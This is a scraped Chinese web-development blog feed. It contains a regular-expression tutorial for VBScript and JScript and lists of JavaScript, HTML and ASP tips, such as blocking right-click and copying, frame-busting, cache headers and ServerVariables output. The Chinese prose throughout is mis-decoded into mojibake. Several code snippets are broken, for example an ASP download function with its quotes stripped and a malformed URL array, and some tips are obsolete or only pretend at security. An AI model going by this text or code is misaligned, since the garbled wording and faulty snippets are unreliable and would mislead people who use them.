<p>/filename\.ext/</p> <p>?VBscript 而言Q等L表达式如下所C:</p> <p>"filename\.ext"</p> <p>q些表达式仍然是相当有限的。它们只允许匚wM单字W。很多情况下Q对从列表中匚wҎ字符十分有用。例如,如果输入文字中包含用数字表示为Chapter 1, Chapter 2诸如此类的章节标题,你可能需要找到这些章节标题?</p> <p> <br />括号表达?/p> <p>可以在一个方括号 ([ ?]) 中放入一个或多个单字W,来创Z个待匚w的列表。如果字W被攑օ括号中括hQ则该列表称为括可辑ּ。括号内和其他Q何地方一P普通字W代表其本nQ也是_它们匚w输入文字中出现的一处自己。大多数Ҏ字符在位于括可辑ּ中时都将失去其含义。这里有一些例外: </p> <p>1. ']' 字符如果不是W一,则将l束一个列表。要在列表中匚w ']' 字符Q请其攑֜W一,紧跟在开始的 '[' 后面?/p> <p>2. '\' 仍然作ؓ转义W。要匚w '\' 字符Q请使用 '\\'?</p> <p>括号表达式中所包含的字W只匚w该括可辑ּ在正则表辑ּ中所处位|的一个单字符。下面的 Visual Basic scripting Edition 正则表达式可以匹?'Chapter 1'?Chapter 2'?Chapter 3'?Chapter 4' 以及 'Chapter 5'Q?/p> <p>/Chapter ][12345]/</p> <p>?VBscript 中要匚w同样的章节标题,请用下面的表达式:</p> <p>"Chapter [12345]"</p> <p>h意单?'Chapter' 及后面的I格与括号内的字W的位置关系是固定的。因此,括号表达式只用来指定满紧跟在单?'Chapter' 和一个空g后的单字W位|的字符集合。这里是W九个字W位|?/p> <p>如果希望使用范围而不是字W本w来表示待匹配的字符Q则可以使用q字W将该范围的开始和l束字符分开。每个字W的字符值将军_其在一个范围内的相寚w序。下面的 Visual Basic scripting Edition 正则表达式包含了一个等价于上面所C的括号列表的范围表辑ּ?/p> <p>/Chapter [1-5]/</p> <p>VBScipt 中相同功能的表达式如下所C:</p> <p>"Chapter [1-5]"</p> <p>如果以这U方式指定范_则开始和l束值都包括在该范围内。有一点特别需要注意的是,?Unicode 排序中v始g定要在结束g前?/p> <p>如果惛_括号表达式中包括q字W,则必M用下q方法之一Q?</p> <p>1. 使用反斜杠将其{义: [\-]</p> <p>2. 连字符攑֜括号列表的开始和l束位置。下面的表达式能匚w所有的写字母和连字符Q[-a-z]Q[a-z-]</p> <p>3. 创徏一个范_其中开始字W的值小于连字符Q而结束字W的值等于或大于q字W。下面两个正则表辑ּ都满一要求Q?[!--]Q[!-~]</p> <p>同样Q通过在列表开始处攄一个插入符(^)Q就可以查找所有不在列表或范围中的字符。如果该插入W出现在列表的其他位|,则匹配其本nQ没有Q何特D含义。下面的 Visual Basic scripting Edition 正则表达式匹配章节号大于 5 的章节标题:</p> <p>/Chapter [^12345]/</p> <p>?VBscript 则用:</p> <p>"Chapter [^12345]"</p> <p>在上面所C的CZ中,表达式将匚wW九个位|处?, 2, 3, 4, or 5 之外的Q何数字字W。因此, 'Chapter 7' Z个匹配,同样 'Chapter 9' 也是如此?</p> <p>上面的表辑ּ可以使用q字W?(-) 表示。对 Visual Basic scripting Edition 为:</p> <p>/Chapter [^1-5]/</p> <p>或者,?VBscript 为:</p> <p>"Chapter [^1-5]"</p> <p>括号表达式的典型用法是指定对M大写或小写字母字W或M数字的匹配。下面的 Visual Basic scripting Edition 表达式给Zq一匚wQ?/p> <p>/[A-Za-z0-9]/</p> <p>{h?VBscript 表达式ؓQ?/p> <p>"[A-Za-z0-9]" </p> <p> <br />限定W?/p> <p>有时候不知道要匹配多字W。ؓ了能适应q种不确定性,正则表达式支持限定符的概c这些限定符可以指定正则表达式的一个给定组件必要出现多少ơ才能满_配?/p> <p>下表l出了各U限定符及其含义的说明:</p> <p>字符 描述 </p> <p>* 匚w前面的子表达式零ơ或多次。例如,zo* 能匹?"z" 以及 "zoo"?br />* {h于{0,}?</p> <p>+ 匚w前面的子表达式一ơ或多次。例如,'zo+' 能匹?"zo" ?br />?"zoo"Q但不能匚w "z"? {h?{1,}?</p> <p>? 匚w前面的子表达式零ơ或一ơ。例如,"do(es)?" 可以匚w "do" <br />?"does" 中的"do" ? {h?{0,1}?</p> <p>{n} n 是一个非负整数。匹配确定的 n ơ。例如,'o{2}' 不能匚w "Bob" <br />中的 'o'Q但是能匚w "food" 中的两个 o?/p> <p>{n,} n 是一个非负整数。至匹配n ơ。例如,'o{2,}' 不能匚w "Bob" ?<br />?'o'Q但能匹?"foooood" 中的所?o?o{1,}' {h?'o+'?o<br />{0,}' 则等价于 'o*'?</p> <p>{n,m} m ?n 均ؓ非负整数Q其中n <= m。最匹?n ơ且最多匹?m ơ?<br />刘, "o{1,3}" 匹?"fooooood" 中的前三?o?o{0,1}' {h<br />?'o?'。请注意在逗号和两个数之间不能有空根{?</p> <p> <br />对一个很大的输入文档而言Q章节数很轻易就过九章Q因此需要有一U方法来处理两位数或者三位数的章节号。限定符提供了q个功能。下面的Visual Basic scripting Edition 正则表达式可以匹配具有Q何位数的章节标题Q?/p> <p>/Chapter [1-9][0-9]*/</p> <p>下面?VBscript 正则表达式执行同L匚wQ?/p> <p>"Chapter [1-9][0-9]*"</p> <p>h意限定符出现在范围表辑ּ之后。因此,它将应用于所包含的整个范围表辑ּQ在本例中,只指定了?0 ?9 的数字?/p> <p>q里没有使用 '+' 限定W,因ؓW二位或后箋位置上ƈ不一定需要一个数字。同样也没有使用 '?' 字符Q因把章节数限制ؓ只有两位数字。在 'Chapter' 和空格字W之后至要匚w一个数字?/p> <p>如果已知章节数限制只?9 章,则可以用下面的 Visual Basic scripting Edition 表达式来指定臛_有一位数字,但不过两个数字?/p> <p>/Chapter [0-9]{1,2}/</p> <p>?VBscript 可以使用下述正则表达式:</p> <p>"Chapter [0-9]{1,2}"</p> <p>上述表达式的~点是如果有一个章节号大于 99Q它仍只会匹配前两位数字。另一个缺Ҏ某些人可以创Z?Chapter 0Q而且仍能匚w。一个更好的用来匚w两位数的 Visual Basic scripting Edition 表达式如下:</p> <p>/Chapter [1-9][0-9]?/</p> <p>或?/p> <p>/Chapter [1-9][0-9]{0,1}/</p> <p>?VBscript 而言Q下q表辑ּ与上面等P</p> <p>"Chapter [1-9][0-9]?"</p> <p>或?/p> <p>"Chapter [1-9][0-9]{0,1}"</p> <p>'*'?'+'?'?' 限定W都UC婪的Q也是_他们可能多地匹配文字。有时这Ҏ׃是所希望发生的情c有时则正好希望最匹配?</p> <p>例如Q你可能要搜索一?HTML 文档来查找一处包含在 H1 标记中的章节标题。在文档中该文字可能h如下形式Q?/p> <p><H1>Chapter 1 ?Introduction to Regular Expressions</H1></p> <p>下面的表辑ּ匚w从开始的于?(<) ?H1 标记l束处的大于号之间的所有内宏V?/p> <p>/<.*>/</p> <p>VBscript 的正则表辑ּ为:</p> <p>"<.*>"</p> <p>如果所要匹配的是开始的 H1 标记Q则下述非贪婪地表达式就只匹?<H1>?/p> <p>/<.*?>/</p> <p>或?/p> <p>"<.*?>"</p> <p>通过?'*'?'+' ?'?' 限定W后攄 '?'Q该表达式就从贪婪匹配{Z非贪婪或最匹配?/p> <p> </p> <p> <br />定位W?/p> <p>到现在ؓ止,所看到的示例都只考虑查找M地方出现的章节标题。出现的M一个字W串 'Chapter' 后跟一个空格和一个数字可能是一个真正的章节标题Q也可能是对其他章节的交叉引用。由于真正的章节标题L出现在一行的开始,因此需要设计一个方法只查找标题而不查找交叉引用?/p> <p>定位W提供了q个功能。定位符可以一个正则表辑ּ固定在一行的开始或l束。也可以创徏只在单词内或只在单词的开始或l尾处出现的正则表达式。下表包含了正则表达式及其含义的列表Q?/p> <p>字符 描述 </p> <p>^ 匚w输入字符串的开始位|。如果设|了RegExp对象?Multiline 属性,<br />^ 也匹?'\n' ?'\r' 之后的位|?</p> <p>$ 匚w输入字符串的l束位置。如果设|了RegExp对象?Multiline 属性,<br />$ 也匹?'\n' ?'\r' 之前的位|?</p> <p>\b 匚w一个单词边界,也就是指单词和空格间的位|?</p> <p>\B 匚w非单词边界?</p> <p> <br />不能对定位符使用限定W。因为在一个换行符或者单词边界的前面或后面不会有q箋多个位置Q因此诸?'^*' 的表辑ּ是不允许的?/p> <p>要匹配一行文字开始位|的文字Q请在正则表辑ּ的开始处使用 '^' 字符。不要把 '^' 的这个语法与其在括号表达式中的语法弄淗它们的语法Ҏ不同?</p> <p>要匹配一行文字结束位|的文字Q请在正则表辑ּ的结束处使用 '$' 字符?/p> <p>要在查找章节标题时用定位符Q下面的 Visual Basic scripting Edition 正则表达式将匚w位于一行的开始处最多有两个数字的章节标题:</p> <p>/^Chapter [1-9][0-9]{0,1}/</p> <p>VBscript 中相同功能的正则表达式如下:</p> <p>"^Chapter [1-9][0-9]{0,1}"</p> <p>一个真正的章节标题不仅出现在一行的开始,而且q一行中也仅有这一个内容,因此Q它必然也位于一行的l束。下面的表达式确保所指定的匹配只匚w章节而不会匹配交叉引用。它是通过创徏一个只匚w一行文字的开始和l束位置的正则表辑ּ来实现的?/p> <p>/^Chapter [1-9][0-9]{0,1}$/</p> <p>?VBscript 则用:</p> <p>"^Chapter [1-9][0-9]{0,1}$"</p> <p>匚w单词边界有少怸同,但却l正则表辑ּ增加了一个非帔R要的功能。单词边界就是单词和I格之间的位|。非单词边界是其他M位置。下面的 Visual Basic scripting Edition 表达式将匚w单词 'Chapter' 的前三个字符Q因为它们出现在单词边界后:</p> <p>/\bCha/</p> <p>?VBscript 为:</p> <p>"\bCha"</p> <p>q里 '\b' 操作W的位置很关键。如果它位于要匹配的字符串的开始,则将查找位于单词开头处的匹配;如果它位于改字符串的末尾Q则查找位于单词l束处的匚w。例如,下面的表辑ּ匹配单?'Chapter' 中的 'ter'Q因为它出现在单词边界之前:</p> <p>/ter\b/</p> <p>以及</p> <p>"ter\b"</p> <p>下面的表辑ּ匹?'apt'Q因为它位于 'Chapter' 中间Q但不会匚w 'aptitude' 中的'apt'Q?/p> <p>/\Bapt/</p> <p>以及</p> <p>"\Bapt"</p> <p>q是因ؓ在单?'Chapter' ?'apt' 出现在非单词边界位置Q而在单词 'aptitude' 中位于单词边界位|。非单词边界操作W的位置不重要,因ؓ匚w与一个单词的开头或l尾无关?</p> <p> </p> <p>选择与编l?/p> <p>选择允许使用 '|' 字符来在两个或多个候选项中进行选择。通过扩展章节标题的正则表辑ּQ可以将其扩充ؓ不仅仅适用于章节标题的表达式。不q,q可没有惌的那么直接。在使用选择Ӟ匹?|' 字符每边最可能的表辑ּ。你可能认ؓ下面?Visual Basic scripting Edition ?VBscript 表达式将匚w位于一行的开始和l束位置且后跟一个或两个数字?'Chapter' ?'Section'Q?/p> <p>/^Chapter|Section [1-9][0-9]{0,1}$/<br />"^Chapter|Section [1-9][0-9]{0,1}$"</p> <p>不幸的是Q真正的情况是上面所C的正则表达式要么匹配位于一行开始处的单?'Chapter'Q要么匹配一行结束处的后跟Q何数字的 'Section'。如果输入字W串?'Chapter 22'Q上面的表达式将只匹配单?'Chapter'。如果输入字W串?'Section 22'Q则该表辑ּ匹?'Section 22'。但q种l果不是我们此处的目的,因此必须有一U办法来使正则表辑ּ对于所要做的更易于响应Q而且实也有q种Ҏ?/p> <p>可以使用圆括h限制选择的范_也就是说明确该选择只适用于这两个单词 'Chapter' ?'Section'。不q,圆括号同样也是难处理的,因ؓ它们也用来创建子表达式,有些内容在后面关于子表辑ּ的部分介l。通过采用上面所C的正则表达式ƈ在适当位置d圆括P可以该正则表辑ּ既可以匹?'Chapter 1'Q也可以匚w 'Section 3'?</p> <p>下面的正则表辑ּ使用圆括号将 'Chapter' ?'Section' l成一l,所以该表达式才能正工作。对 Visual Basic scripting Edition 为:</p> <p>/^(Chapter|Section) [1-9][0-9]{0,1}$/</p> <p>?VBscript 为:</p> <p>"^(Chapter|Section) [1-9][0-9]{0,1}$"</p> <p>q些表达式工作正,只是产生了一个有的副品。在 'Chapter|Section' 两边攄圆括号徏立了适当的编l,但也D两个待匹配单词之一都被捕获供今后用。由于在上面所C的表达式中只有一l圆括号Q因此只能有一个捕L submatch。可以?VBscript 的Submatches 集合或者Visual Basic scripting Edition 中RegExp 对象?$1-$9 属性来引用q个子匹配?/p> <p>有时捕获一个子匚w是所希望的,有时则是不希望的。在说明所C的CZ中,真正惛_的就是用圆括号对单?'Chapter' ?'Section' 之间的选择~组。ƈ不希望在后面再引用该匚w。实际上Q除非真的是需要捕获子匚wQ否则请不要使用。由于不需要花旉和内存来存储那些子匹配,q种正则表达式的效率更高?/p> <p>可以在正则表辑ּ模式圆括号内部的前面使用 '?:'来防止存储该匚w供今后用。对上面所C正则表辑ּ的下qCҎ供了免除子匹配存储的相同功能。对 Visual Basic scripting EditionQ?/p> <p>/^(?:Chapter|Section) [1-9][0-9]{0,1}$/</p> <p>?VBscriptQ?/p> <p>"^(?:Chapter|Section) [1-9][0-9]{0,1}$"</p> <p>除了 '?:' 元字W,q有两个非捕获元字符用于UC为预查的匚w。一个ؓ正向预查Q用 ?= 表示Q?在Q何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字W串。一个ؓ负向预查Q用 '?!' 表示Q在M开始不匚w该正则表辑ּ模式的位|来匚w搜烦字符丌Ӏ?/p> <p>例如Q假定有一个包含引用有 Windows 3.1、Windows 95、Windows 98 以及 Windows NT 的文档。进一步假N要更新该文档Q方法是查找所有对 Windows 95、Windows 98 以及 Windows NT 的引用,q将q些引用更改?Windows 2000。可以用下面的 Visual Basic scripting Edition 正则表达式,q是一个正向预查,来匹?Windows 95、Windows 98 以及 Windows NTQ?/p> <p>/Windows(?=95 |98 |NT )/</p> <p>?VBscript 要进行同L匚w可以使用下述表达式:</p> <p>"Windows(?=95 |98 |NT )"</p> <p>扑ֈ一个匹配后Q紧接匹配到的文字(而不包括预查中用的字符Q就开始对下一ơ匹配的搜烦。例如,如果上面所C的表达式匹配到 'Windows 98'Q则从 'Windows' 而不?'98' 之后l箋查找?<br /></p> <img src ="http://www.aygfsteel.com/jackywjj/aggbug/67303.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jackywjj/" target="_blank">jacky wu</a> 2006-09-02 20:12 <a href="http://www.aygfsteel.com/jackywjj/articles/67303.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>js多种用法http://www.aygfsteel.com/jackywjj/articles/67302.htmljacky wujacky wuSat, 02 Sep 2006 12:11:00 GMThttp://www.aygfsteel.com/jackywjj/articles/67302.htmlhttp://www.aygfsteel.com/jackywjj/comments/67302.htmlhttp://www.aygfsteel.com/jackywjj/articles/67302.html#Feedback0http://www.aygfsteel.com/jackywjj/comments/commentRss/67302.htmlhttp://www.aygfsteel.com/jackywjj/services/trackbacks/67302.html1. oncontextmenu="window.event.returnvalue=false" 彻底屏蔽鼠标右?br /><table border oncontextmenu=return(false)><td>no</table> 可用于Table
2. <body onselectstart="return false"> 取消选取、防止复?/p>

3. onpaste="return false" 不准_脓

4. oncopy="return false;" oncut="return false;" 防止复制

5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图?/p>

6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显C出你的图标

7. <input style="ime-mode:disabled"> 关闭输入?/p>

8. 永远都会带着框架
<script language="javascript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网?br />// --></script>

9. 防止被hframe
<SCRIPT LANGUAGE=javascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>

10. <noscript><iframe src=*.html></iframe></noscript> |页不能被另存?/p>

11. <input type=button value=查看|页源代?
onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'">

12. 怎样通过asp的手D|查来访者是否用了代?br /><% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "<font color=#FF0000>您通过了代理服务器Q?& _
"真实的IP?&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>

13. 取得控g的绝对位|?/p>

//javascript
<script language="javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"\nleft="+l);
}
</script>

//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控g的位|?
end function
--></script>

14. 光标是停在文本框文字的最?br /><script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart('character',e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">

15. 判断上一늚来源
asp:
request.servervariables("HTTP_REFERER")

javascript:
document.referrer

16. 最化、最大化、关闭窗?br /><object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" value="Close"></OBJECT>

<input type=button value=最化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE

17.
<%
'定义数据库连接的一些常?br />Const adOpenForwardOnly = 0 '游标只向前浏览记录,不支持分cRecordset、BookMark
Const adOpenKeyset = 1 '键集游标Q其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分cRecordset、BookMark
Const adOpenDynamic = 2 '动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都反映到记录集中。支持全功能览(ACCESS不支??br />Const adOpenStatic = 3 '静态游标,只是数据的一个快照,用户对记录说做的修改Q增加或删除记录都不会反映到记录集中。支持向前或向后Ud

Const adLockReadOnly = 1 '锁定cdQ默认的Q只读,不能作Q何修?br />Const adLockPessimistic = 2 '当编辑时立即锁定记录Q最安全的方?br />Const adLockOptimistic = 3 '只有在调用UpdateҎ时才锁定记录集,而在此前的其他操作仍可对当前记录q行更改、插入和删除{?br />Const adLockBatchOptimistic = 4 '当编辑时记录不会被锁定,而更攏V插入和删除是在批处理方式下完成?/p>

Const adCmdText = &H0001
Const adCmdTable = &H0002
%>

18. |页不会被缓?br />HTM|页
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或?lt;META HTTP-EQUIV="expires" CONTENT="0">
ASP|页
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.cachecontrol = "no-cache"
PHP|页
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");

19. 查一D字W串是否全由数字l成
<script language="javascript"><!--
function checkNum(str){return str.match(/\D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>

20. 获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight

21. 怎么判断是否是字W?br />if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");

22.TEXTAREA自适应文字行数的多?br /><textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

23. 日期减去天数{于W二个日?br /><script language=javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "q? + (a.getMonth() + 1) + "? + a.getDate() + "?)
}
cc("12/23/2002",2)
</script>

24. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>

25.获得本页url的request.servervariables("")集合
Response.Write "<TABLE border=1><!-- Table Header --><TR><TD><B>Variables</B></TD><TD><B>value</B></TD></TR>"
for each ob in Request.ServerVariables
Response.Write "<TR><TD>"&ob&"</TD><TD>"&Request.ServerVariables(ob)&"</TD></TR>"
next
Response.Write "</TABLE>"

26.
本机ip<%=request.servervariables("remote_addr")%>
服务器名<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端?lt;%=Request.ServerVariables("SERVER_PORT")%>
服务器时?lt;%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本时旉<%=Server.ScriptTimeout%>
本文件\?lt;%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引?lt;%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
服务器操作系l?lt;%=Request.ServerVariables("OS")%>

27.ENTER键可以让光标Ud下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

28. 某个网站的链接速度Q?br />把如下代码加?lt;body>区域?
<script language=javascript>
tim=1
setInterval("tim++",100)
b=1

var autourl=new Array()
autourl[1]="autourl[2]="javacool.3322.net"
autourl[3]="
autourl[4]="autourl[5]="

function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=试中…?gt; =?lt;input type=text name=url"+i+" size=40> =?lt;input type=button value=GO onclick=window.open(this.form.url"+i+".value)><br/>")
document.write("<input type=submit value=h></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接时"}
else
{document.forms[0]["txt"+b].value="旉"+tim/10+"U?}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl[i]+"/"+Math.random()+" width=1 height=1 onerror=auto('http://";+autourl[i]+"')>")}
run()</script>

29. 各种样式的光?br />auto Q标准光?br />default Q标准箭?br />hand Q手形光?br />wait Q等待光?br />text QI形光?br />vertical-text Q水qI形光?br />no-drop Q不可拖动光?br />not-allowed Q无效光?br />help Q?帮助光标
all-scroll Q三角方向标
move Q移动标
crosshair Q十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

 


1.本地无缓存,每次自动h
response.expires=0
response.addHeader pragma , no-cache
response.addHeader cache-control , private

2.修改contentTypeq下载gif{格?br /><%
function dl(f,n)
on error resume next

set s=CreateObject(Adodb.Stream)
S.Mode=3
S.Type=1
S.Open
s.LoadFromFile(server.mappath(f))
if err.number>0 then
  response.write err.number & : & err.description
else
  response.contentType=application/x-gzip
  response.addheader Content-Disposition:,attachment; filename= & n
  response.binarywrite(s.Read(s.size))
end if
end function

call dl(012922501.gif,t1.gif)
%>

 

1。忽视右?
 <body oncontextmenu="return false">
 ?
 <body style="overflow-y:hidden">
2。加入背景音?
 IE:<bgsound src="*.mid" loop=infinite>
 NS:<embed src="*.mid" autostart=true hidden=true loop=true>
 </embed>
 *.mid你的背景音乐的midi格式文g
3。简单的window.openҎ
 <a href="#"
 onclick="javascript:window.open(文g路径/文g?newwindow,
 toolbar=no,scrollbars=yes,resizable=no,top=0,left=0,
 width=400,height=300);">文字或图?lt;/a>
 参数解释Q?
 <SCRIPT LANGUAGE="javascript"> js脚本开始;
 window.open 弹出新窗口的命oQ?
 文g路径/文g?弹出H口的文件名Q?
 newwindow 弹出H口的名字(不是文g名)Q非必须Q可用空代替Q?
 width=400 H口宽度Q?
 height=300 H口高度Q?
 top=0 H口距离屏幕上方的象素|
 left=0 H口距离屏幕左侧的象素|
 toolbar=no 是否昄工具栏,yes为显C;
 menubarQscrollbars 表示菜单栏和滚动栏?
 resizable=no 是否允许改变H口大小Qyes为允许;
 location=no 是否昄地址栏,yes为允许;
 status=no 是否昄状态栏内的信息Q通常是文件已l打开Q,yes为允许;
 </SCRIPT> js脚本l束
4。简单的面加密
 <script LANGUAGE="javascript">
 <!--
 function loopy(){
  var sWord ="";
  while(sWord!="login"){sWord=prompt("误入你的登陆密?);}
  alert("登陆成功Q?);
 }
 loopy()
 //-->
 </script>
5。拉动页面时背景图不?
 <style>
 body{background-image:url(logo.gif);
 background-repeat:no-repeat;background-position:center}
 </style>
7。随机替换图?
 <script>
 document.write(<img src="img/+parseInt(Math.random()*(5))
 +.gif"height="40" width="50">)
 </script>
 囄文g名ؓ0.gif 1.gif 2.gif 3.gif 4.gif
8。窗口定时关?
 先将如下代码|页文g的区Q?
 <script language="javascript">
 function closeit() { setTimeout("self.close()",10000) //毫秒 }
 </script>
 然后再在<body>标内加入如:<body onload="closeit()">
9。网自动关?
 <html>
 <head>
 <object id=closes type="application/x-oleobject"
 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
 <param name="Command" value="Close">
 </object>
 </head>
 <body onload="window.setTimeout(closes.Click(),10000)">
 q个H口会在10U过后自动关?而且不会出现提示.
 </body>
 </html>
10。网自动刷?
 在head部记?
 <META HTTP-EQUIV="Refresh" content="20">
 其中20?0U后自动hQ你可以更改ZQ意倹{?
11。网自动{?
 <META HTTP-EQUIV="Refresh" CONTENT="旉(U?;URL=地址">
12。保持layer在最前面Q而不被Iframe、Object所覆盖
 在Layer中再揺frame ?Object 设z-Index?
 <div z-Index:2><object xxx></object> Q?前面
 <div z-Index:1><object xxx></object> Q?后面
 <div id="Layer2" style="position:absolute; top:40;width:400px;
 height:95px;z-index:2"> height=100% width=100%>
 <iframe width=0 height=0></iframe>
 </div>
 <div id="Layer1" style="position:absolute; top:50;width:200px;
 height:115px;z-index:1">
 <iframe height=100% width=100%></iframe>
 </div>
13。返回上一?
 <a href=javascript:history.back(1)>『返回上一c?lt;/a>
14。关闭窗?
 <a href=javascript:self.close()>『关闭窗口?lt;/a>
15。关于iframe的透明背景
 <IFRAME ID="iFrame1" SRC="iframe.htm"
 allowTransparency="true"
 style="background-color: green"></IFRAME>

 


1.如何用Asp判断你的|站的虚拟物理\?
{:使用MappathҎ
< p align="center" >< font size="4" face="Arial" >< b >
The Physical path to this virtual website is:
< /b >< /font >
< font color="#FF0000" size="6" face="Arial" >
< %= Server.MapPath("\")% >
< /font >< /p >
2.我如何知道用者所用的览器?
{:使用the Request objectҎ
strBrowser=Request.ServerVariables("HTTP_USER_AGENT")
If Instr(strBrowser,"MSIE") < > 0 Then
  Response.redirect("ForMSIEOnly.htm")
Else
  Response.redirect("ForAll.htm")
End If

3.如何计算每天的^均反复访问h?
{:解决Ҏ
< % startdate=DateDiff("d",Now,"01/01/1990")
if strdate< 0 then startdate=startdate*-1
avgvpd=Int((usercnt)/startdate) % >
昄l果
< % response.write(avgvpd) % >
that is it.this page have been viewed since November 10,1998

4.如何昄随机图象
< % dim p,ppic,dpic
ppic=12
randomize
p=Int((ppic*rnd)+1)
dpic="graphix/randompics/"&p&".gif"
% >

< img src="< %=dpic% >" >

5.如何回到先前的页?
{:< a href="< %=request.serverVariables("Http_REFERER")% >" >preivous page< /a >
或用囄如:< img src="arrowback.gif" alt="< %=request.serverVariables("HTTP_REFERER")% >" >

6.如何定Ҏ的IP地址
{:< %=Request.serverVariables("REMOTE_ADDR)% >

7.如何铄C副图片上
{:< % @Languages=vb-script % >
< % response.expires=0
strimagename="graphix/errors/erroriamge.gif"
response.redirect(strimagename)
% >

8.输入密码对话?
{:把这句话放蝲面的开?
< % response.status="401 not Authorized"
response.end
% >

9.如何传递变量从一到另一?
{:?HIDDEN cd来传递变?
< % form method="post" action="mynextpage.asp" >
< % for each item in request.form % >
< input namee="< %=item% >" type="HIDDEN"
value="< %=server.HTMLEncode(Request.form(item)) % >" >
< % next % >
< /form >

10.Z我在 asp E序内?msgboxQ程序出错说没有权限
{:׃ asp 是服务器q行的,如果可以在服务器昄一个对话框Q那么你只好{有人按了确定之后,你的E序才能l箋执行Q而一般服务器不会有h守着Q所以微软不得不止q个函数Qƈ胡ؕ告诉?(:) 呵呵) 没有权限。但是ASP和客L脚本l合倒可以显CZ个对话框Qas follows:
< % yourVar="试对话?% >
< % script language='java-script' >
alert("< %=yourvar% >")
< /script >

11.有没有办法保护自q源代码,不给人看?
{:可以M载一个微软的Windows Script EncoderQ它可以对asp的脚本和客户端java-script/vb-script脚本q行加密。。。不q客L加密后,只有ie5才能执行Q服务器端脚本加密后Q只有服务器上安装有script engine 5Q装一个ie5有了)才能执行?

12.怎样才能?query string 从一?asp 文g传送到另一个?
{:前者文件加入下句: Response.Redirect("second.asp?" & Request.ServerVariables("QUERY_STRING"))

13.global.asa文gL不v作用?
{:只有web目录讄为web application, global.asa才有效,q且一个web application的根目录?global.asa才有效。IIS4可以使用Internet Service Manager讄application setting 怎样才能使得htm文g如同asp文g一样可以执行脚本代码?

14.怎样才能使得htm文g如同asp文g一样可以执行脚本代码?
{:Internet Sevices Manager - > 选择default web site - >右鼠? >菜单属?〉主目录- > 应用E序讄QApplication SettingQ? > 点击按钮 "配置"- > app mapping - >点击按钮"Add" - > executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.DELETE 全部定卛_。但是值得注意的是q样对htm也要由asp.dll处理Q效率将降低?

15.如何注册lg
{:有两U方法?
